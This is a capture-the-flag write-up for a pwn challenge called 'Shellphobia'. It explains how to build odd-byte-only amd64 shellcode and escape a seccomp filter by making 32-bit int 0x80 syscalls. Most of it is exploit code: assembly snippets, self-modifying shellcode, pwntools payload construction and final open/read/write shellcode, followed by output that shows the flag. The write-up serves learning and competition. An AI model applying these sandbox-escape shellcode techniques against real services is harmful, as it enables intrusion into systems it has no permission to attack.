Shellphobia 500 Pwn
I know, I know everyone has their own fears. Check if you have Shellphobia or not? If so, overcome it :)
nc pwn.blitzhack.xyz 1337
Author: Kaiz0r
Team: Weak But Leet
Attachment: public.zip xpl.py
╠══════════════════════════════════════════════════════════════╣
║ ║
║ ███████╗██╗ ██╗███████╗██╗ ██╗ ║
║ ██╔════╝██║ ██║██╔════╝██║ ██║ ║
║ ███████╗███████║█████╗ ██║ ██║ ║
║ ╚════██║██╔══██║██╔══╝ ██║ ██║ ║
║ ███████║██║ ██║███████╗███████╗███████╗ ║
║ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ║
║ ║
║ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ █████╗ ║
║ ██╔══██╗██║ ██║██╔═══██╗██╔══██╗██║██╔══██╗ ║
║ ██████╔╝███████║██║ ██║██████╔╝██║███████║ ║
║ ██╔═══╝ ██╔══██║██║ ██║██╔══██╗██║██╔══██║ ║
║ ██║ ██║ ██║╚██████╔╝██████╔╝██║██║ ██║ ║
║ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝╚═╝ ╚═╝ ║
║ ║
╠══════════════════════════════════════════════════════════════╣
║ Fear the shell? Overcome it! ║
║ Can you execute your shellcode? ║
║ Give me your best shot! ║
╚══════════════════════════════════════════════════════════════╝
Enter your name:
We’re allowed to enter a name and shellcode, which then gets executed. Sounds easy enough, but there were some obstacles hindering you from doing anything useful with it.
First, if any byte of the shellcode is even, the shellcode gets rejected. This reduces the useful opcodes we can use in our shellcode by a lot.
But even when getting around this, “some” seccomp rules are set up.
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x15 0x1d 0x00 0x00000002 if (A == open) goto 0033
0004: 0x15 0x1c 0x00 0x00000101 if (A == openat) goto 0033
0005: 0x15 0x1b 0x00 0x000001b5 if (A == 0x1b5) goto 0033
0006: 0x15 0x1a 0x00 0x00000055 if (A == creat) goto 0033
0007: 0x15 0x19 0x00 0x00000000 if (A == read) goto 0033
0008: 0x15 0x18 0x00 0x00000013 if (A == readv) goto 0033
0009: 0x15 0x17 0x00 0x00000127 if (A == preadv) goto 0033
0010: 0x15 0x16 0x00 0x00000147 if (A == preadv2) goto 0033
0011: 0x15 0x15 0x00 0x00000011 if (A == pread64) goto 0033
0012: 0x15 0x14 0x00 0x00000028 if (A == sendfile) goto 0033
0013: 0x15 0x13 0x00 0x00000001 if (A == write) goto 0033
0014: 0x15 0x12 0x00 0x00000012 if (A == pwrite64) goto 0033
0015: 0x15 0x11 0x00 0x00000014 if (A == writev) goto 0033
0016: 0x15 0x10 0x00 0x00000128 if (A == pwritev) goto 0033
0017: 0x15 0x0f 0x00 0x00000148 if (A == pwritev2) goto 0033
0018: 0x15 0x0e 0x00 0x0000003b if (A == execve) goto 0033
0019: 0x15 0x0d 0x00 0x00000142 if (A == execveat) goto 0033
0020: 0x15 0x0c 0x00 0x0000000a if (A == mprotect) goto 0033
0021: 0x15 0x0b 0x00 0x00000015 if (A == access) goto 0033
0022: 0x15 0x0a 0x00 0x00000020 if (A == dup) goto 0033
0023: 0x15 0x09 0x00 0x00000021 if (A == dup2) goto 0033
0024: 0x15 0x08 0x00 0x00000029 if (A == socket) goto 0033
0025: 0x15 0x07 0x00 0x00000031 if (A == bind) goto 0033
0026: 0x15 0x06 0x00 0x00000032 if (A == listen) goto 0033
0027: 0x15 0x05 0x00 0x00000039 if (A == fork) goto 0033
0028: 0x15 0x04 0x00 0x0000003a if (A == vfork) goto 0033
0029: 0x15 0x03 0x00 0x0000003d if (A == wait4) goto 0033
0030: 0x15 0x02 0x00 0x000000f7 if (A == waitid) goto 0033
0031: 0x15 0x01 0x00 0x0000013d if (A == seccomp) goto 0033
0032: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0033: 0x06 0x00 0x00 0x00000000 return KILL
Yeah, this blocks almost every useful syscall to extract the flag (don’t even think of opening a shell)…
To get started, I created a script which generates a dictionary of opcodes we “can” use.
def create_allowed():
context.arch = "amd64"
with open("allowed.txt", "w") as f:
for ch1 in range(256):
if ch1 & 1 != 0 :
try:
f.write(hex(ch1)+": \n")
payload = p8(ch1)
f.write(disasm(payload) + "\n")
except:
pass
with open("allowed2.txt", "w") as f:
for ch1 in range(256):
for ch2 in range(256):
if ch1 & 1 != 0 and ch2 & 1 != 0:
try:
f.write(hex(ch1)+":"+hex(ch2)+"\n")
payload = p8(ch1) + p8(ch2)
f.write(disasm(payload) + "\n")
except:
pass
Quick and dirty, but enough to get some assembly together, which we can use as a toolkit to control all registers.
pop rbx
pop rcx
pop rdi
pop r9
push rcx
push rbx
push rdi
push r9
syscall
ret
xchg ecx, eax # used to set rax
add ecx, 0x5 # can be used to calculate any value (just use odd values)
movsxd esi, ecx # used to set rsi
movsxd edx, ecx # used to set rdx
mov [rcx], esi # write value to an address
With this, we should be able to control most of the needed registers to trigger syscalls, but most of them are still blocked…
Except if we resort to x86
system calls. In x86
read
, open
and write
use different system numbers, which are not blocked by those seccomp rules, and there’s no rule which checks for amd64 architecture.
Thus, by using int 0x80
and putting our values into eax
, ebx
, ecx
, edx
, we can execute x86 syscalls.
The only problem with this is that we can only use 32-bit addresses and since PIE is active, we have no memory region available which we could access with a 32-bit address.
So the first thing we need to do is mmap
a region at an address which fits into a 32-bit variable.
mmap(0x400000, 0x1000, 7, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0)
This boils down to
rax : 9 mmap syscall
rdi : 0x4000000 addr
rsi : 0x1000 len
rdx : 0x7 prot
r10 : 0x32 flags
r8 : 0xffffffff fd
r9 : 0x0 offset
syscall
Setting rax
is easy enough
xchg ecx, eax // set ecx to 0
add ecx, 0x5
add ecx, 0x3
add ecx, 0x1
xchg ecx, eax // sets eax to 9
For setting rdi
, I used the fact that we can put some bytes on the stack via the initial name
.
payload = p64(0x4000000)
r.sendline(payload)
...
// rdi = 0x4000000
pop rdi
pop rdi
pop rdi
pop rdi // pop 0x4000000 from stack
For setting rsi
, I calculated 0x1000
via add ecx, byte
// rsi = 0x1000
push rbx
pop rcx
add ecx, 0x7f
add ecx, 0x7f
add ecx, 0x7f
add ecx, 0x7f
...
add ecx, 0x7f
add ecx, 0x1f
add ecx, 1 // ecx = 0x1000
movsxd esi, ecx // esi = 0x1000
Setting rdx
…
// edx = 0x7
push rbx
pop rcx
add ecx, 5
add ecx, 1
add ecx, 1
movsxd esi, ecx
So far so good, but r10
is still missing and no opcode is in sight to manipulate it.
But we can put stuff on the stack without any restrictions in our name
.
context.arch = "amd64"
SC2 = """
push 0x32
pop r10
"""
...
payload = p64(0x4000000)
payload += asm(SC2).ljust(0x10, b"\x00")
...
With this, we have the assembly for setting r10
on the stack. We can now use the following opcodes to fetch the opcodes from the stack and write them to the start of our shellcode.
// overwrite start of shellcode with push 0x32; pop r10
pop rcx // contains the opcode for push 0x32, pop r10
movsxd esi, ecx // esi = push 0x32, r10
push r13 // r13 = start of shellcode
pop rcx // rcx = start of shellcode
mov [rcx], esi // write push 0x32, pop r10 to start of shellcode
Now I changed the start of my shellcode to
jmp start
pop rcx # padding
pop rcx # padding
syscall
...
start:
Thus, when the shellcode starts, it will jump to the initial start. We can then overwrite jmp start; pop rcx; pop rcx
with push 0x32; pop r10
, changing the start of shellcode to:
push 0x32
pop r10
syscall
To execute the modified shellcode later on, we can just use
push r13 // r13 = address of shellcode
ret
to return
to the beginning of our shellcode.
With this, we can now do the mmap
syscall and have a region which is accessible via a 32-bit address.
But to trigger an x86 syscall we need to do int 0x80
… which is also not allowed since 0x80
is even.
So… I used the rewrite trick again to write it to the start of the shellcode.
SC3 = """
int 0x80
jmp rcx
"""
payload = p64(0x4000000)
payload += asm(SC2).ljust(0x10, b"\x00")
payload += asm(SC3)
...
We’ll use this int 0x80
to read a final shellcode into the mmapped region and then just jump into it (we’ll set rcx to the address of it before jumping back to the start).
jmp start
pop rcx # padding for later overwrite
pop rcx
syscall
// now we got a rwx section at 0x4000000
pop r9
pop rcx # ecx = int 0x80
movsxd esi, ecx # esi = int 0x80
push r13
pop rcx # rcx = start of shellcode
mov [rcx], esi # write int 0x80; jmp rcx to start of shellcode
// x86 read(0, 0x4000000, 0x71)
push rbx
pop rcx # rcx = 0
add ecx, 3 # rcx = 3
movsxd eax, ecx # eax = 3 (read syscall)
push rbx
pop rcx
add ecx, 0x71 # rcx = 0x71
movsxd edx, ecx # edx = 0x71
push rdi
pop rcx # ecx = 0x4000000
push r13 # return to int 0x80 at start of shellcode
ret
...
This will then do a read(0, 0x4000000, 0x71)
, which we can now use to write our final shellcode (which doesn’t have any restrictions anymore) into our mmapped region.
SCFINAL = """
// fd = open("flag", 0, 0)
xor rax, rax
mov al, 5
mov rbx, 0x4000040
xor rcx, rcx
xor rdx, rdx
int 0x80
// read(fd, flag, 200)
xchg rbx, rax
xchg rcx, rax
mov al, 3
mov dl, 200
int 0x80
// write(1, flag, 200)
mov al, 4
xor rbx, rbx
mov bl, 1
int 0x80
"""
...
payload = asm(SCFINAL)
payload = payload.ljust(0x40, b"\x00")
payload += b"./flag\x00"
r.send(payload)
The final jmp rcx
will then execute our x86 ropchain and open/read/write the flag:
python3 xpl.py 1
[+] Opening connection to pwn.blitzhack.xyz on port 1337: Done
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Switching to interactive mode
Shellcode length: 214 bytes
Executing your shellcode...
Blitz{0v3rc0m3_y0ur_sh3llph0b14_w1th_0dd_byt3_sh3llc0d3_4nd_s3cc0mp_byp4ss_n0_m0r3_f34r_0f_sh3lls}